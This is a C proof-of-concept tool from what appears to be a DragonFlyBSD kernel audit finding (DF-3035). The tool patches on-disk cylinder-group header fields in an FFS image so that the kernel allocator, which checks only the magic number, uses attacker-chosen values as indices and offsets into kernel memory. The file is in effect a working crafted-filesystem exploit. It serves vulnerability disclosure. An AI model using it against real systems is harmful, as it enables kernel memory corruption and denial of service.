DragonFlyBSD Kernel Audit
DF-3035 / cgxtool.c
← back to finding ↓ download raw
/*
 * cgxtool.c — DF-3035 on-disk cylinder-group header patcher (root, guest).
 *
 * Demonstrates that the FFS allocator (sys/vfs/ufs/ffs_alloc.c) uses
 * cylinder-group header fields straight off disk with no validation:
 * the cg block is bread()ed, only cg_chkmagic() (a magic comparison)
 * is applied, and then fields such as cg_cgx / cg_freeoff / cg_iusedoff /
 * cg_frotor / cg_nclusterblks are used as array indices and pointer
 * offsets into kernel memory.
 *
 * usage:
 *   cgxtool <image> info
 *   cgxtool <image> <field> <hex-value>   field ∈ {cgx, freeoff, iusedoff,
 *                                          frotor, nclusterblks}
 *
 * Locates the superblock (8192 / 65536, both magics), computes cg0's byte
 * offset from fs_cblkno*fs_fsize (cgstart(fs,0)==0), verifies CG_MAGIC,
 * and patches the requested 32-bit field of the on-disk struct cg.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#include <stddef.h>
#include <sys/types.h>
typedef int32_t ufs_time_t;
typedef int32_t ufs_daddr_t;
#define _KERNEL_STRUCTURES
#define MAXFRAG 8
#include "fs.h"

static const struct { off_t off; uint32_t magic; } sbs[] = {
	{ 8192,  FS_MAGIC },		/* UFS1 sblkno=16, fsize=512 */
	{ 65536, FS_MAGIC },
	{ 8192,  0x19540119 },		/* UFS2 magic */
	{ 65536, 0x19540119 },
};

static void
loadsb(int fd, struct fs *fsb, off_t *sbpos)
{
	unsigned i;
	for (i = 0; i < sizeof(sbs)/sizeof(sbs[0]); i++) {
		if (pread(fd, fsb, sizeof(*fsb), sbs[i].off) != sizeof(*fsb))
			continue;
		if (fsb->fs_magic == sbs[i].magic) {
			*sbpos = sbs[i].off;
			return;
		}
	}
	errx(1, "no superblock found");
}

int
main(int argc, char **argv)
{
	struct fs fsb;
	struct cg cg;
	off_t sbpos, cgoff;
	int fd;
	uint32_t val;
	unsigned fieldoff = 0;
	char *img, *field;

	if (argc != 2 && !(argc == 3 && !strcmp(argv[2], "info")) &&
	    argc != 4) {
		fprintf(stderr, "usage: %s img [field hexval]\n", argv[0]);
		return (2);
	}
	img = argv[1];
	fd = open(img, O_RDWR);
	if (fd < 0) err(1, "open %s", img);
	loadsb(fd, &fsb, &sbpos);

	cgoff = (off_t)fsb.fs_cblkno * fsb.fs_fsize;	/* cgtod(fs,0) */
	if (pread(fd, &cg, sizeof(cg), cgoff) != sizeof(cg))
		err(1, "read cg0");
	if (cg.cg_magic != CG_MAGIC)
		errx(1, "cg0 at byte %lld: bad magic %08x",
		    (long long)cgoff, cg.cg_magic);

	printf("[sb]    pos=%lld magic=%08x ncg=%d fpg=%d ipg=%d cblkno=%d\n",
	    (long long)sbpos, fsb.fs_magic, fsb.fs_ncg, fsb.fs_fpg,
	    fsb.fs_ipg, fsb.fs_cblkno);
	printf("[sb]    bsize=%ld fsize=%ld frag=%d cgsize=%ld "
	    "contigsumsize=%d ncyl=%d spc=%d cpc=%d nrpos=%d\n",
	    (long)fsb.fs_bsize, (long)fsb.fs_fsize, fsb.fs_frag,
	    (long)fsb.fs_cgsize, 	    fsb.fs_contigsumsize,
	    fsb.fs_cpg, fsb.fs_spc, fsb.fs_cpc, fsb.fs_nrpos);
	printf("[cg0]   at byte %lld: cgx=%d rotor=%d frotor=%d irotor=%d "
	    "nclusterblks=%d\n", (long long)cgoff, cg.cg_cgx, cg.cg_rotor,
	    cg.cg_frotor, cg.cg_irotor, cg.cg_nclusterblks);
	printf("[cg0]   btotoff=%d boff=%d iusedoff=%d freeoff=%d "
	    "clustersumoff=%d clusteroff=%d\n", cg.cg_btotoff, cg.cg_boff,
	    cg.cg_iusedoff, cg.cg_freeoff, cg.cg_clustersumoff,
	    cg.cg_clusteroff);

	if (argc < 4)
		return (0);

	field = argv[2];
	val = (uint32_t)strtoul(argv[3], NULL, 0);
	if (!strcmp(field, "cgx"))		fieldoff = offsetof(struct cg, cg_cgx);
	else if (!strcmp(field, "freeoff"))	fieldoff = offsetof(struct cg, cg_freeoff);
	else if (!strcmp(field, "iusedoff"))	fieldoff = offsetof(struct cg, cg_iusedoff);
	else if (!strcmp(field, "frotor"))	fieldoff = offsetof(struct cg, cg_frotor);
	else if (!strcmp(field, "nclusterblks")) fieldoff = offsetof(struct cg, cg_nclusterblks);
	else errx(1, "unknown field %s", field);

	if (pwrite(fd, &val, 4, cgoff + fieldoff) != 4)
		err(1, "pwrite");
	printf("[patch] cg0.%s = 0x%08x written at byte %lld\n",
	    field, val, (long long)(cgoff + fieldoff));
	return (0);
}